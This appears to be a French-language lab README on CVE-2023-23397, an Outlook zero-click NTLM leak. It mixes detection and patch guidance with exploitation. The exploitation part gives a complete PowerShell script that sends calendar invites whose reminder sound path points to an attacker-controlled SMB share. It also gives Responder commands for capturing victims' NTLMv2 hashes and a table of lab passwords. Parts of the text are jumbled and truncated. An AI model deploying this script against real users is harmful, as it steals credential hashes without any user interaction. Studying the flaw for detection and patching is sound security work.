
Demonstration of CVE-2023-23397 Outlook Privellege Escalation vulnerability
Ce projet démontre la détection, l'exploitation et l'atténuation de CVE-2023-23397, une vulnérabilité critique de relais NTLM sans clic dans Microsoft Outlook pour Windows. Exploitée via des invitations de calendrier, cette vulnérabilité permet aux attaquants de capturer des hachages NTLMv2 sans aucune interaction de l'utilisateur.
🛡️ Score CVSS : 9.8 (Critique)
🖥️ Versions concernées : Outlook 2013, 2016, 2019, Microsoft 365 (avant le correctif du 14 mars 2023)
Les rappels de calendrier d'Outlook peuvent être configurés pour jouer des sons personnalisés via la propriété MAPI PidLidReminderFileParameter. Outlook ne valide pas les chemins UNC, ce qui permet des requêtes SMB distantes lorsque les rappels sont déclenchés.
\\attacker-ip\share\sound.wav
Cela entraîne l'envoi de hachages NTLMv2 à des serveurs contrôlés par l'attaquant, qui peuvent ensuite :
Utilisez MFCMAPI pour inspecter les éléments du calendrier et vérifier la présence de valeurs malveillantes dans PidLidReminderFileParameter (tag MAPI 0x851F001F).
QuickStart > Ouvrir le dossier > CalendrierTable > Définir les colonnes0x808A001F pour afficher les chemins de fichiers des rappelsInstallez le correctif du 14 mars 2023 (par exemple, KB5002044). Le correctif introduit :
IsFileZoneLocalIntranetOrTrusted() pour valider les chemins de fichiers des rappelsRésultat du test :
Outlook enregistrera l'ID d'événement 1008 et bloquera l'accès aux chemins SMB non approuvés.
192.168.1.0/24)📂 Politique pré-construite : OutlookMitigation.ipsec
| Système | Nom d'utilisateur | Mot de passe |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Compte email | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Assurez-vous que Kali et la VM victime sont sur le même réseau.
Installer :
Configurer :
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder capturera le hachage NTLMv2 du système victime.
PidLidReminderFileParameter contient un chemin UNC.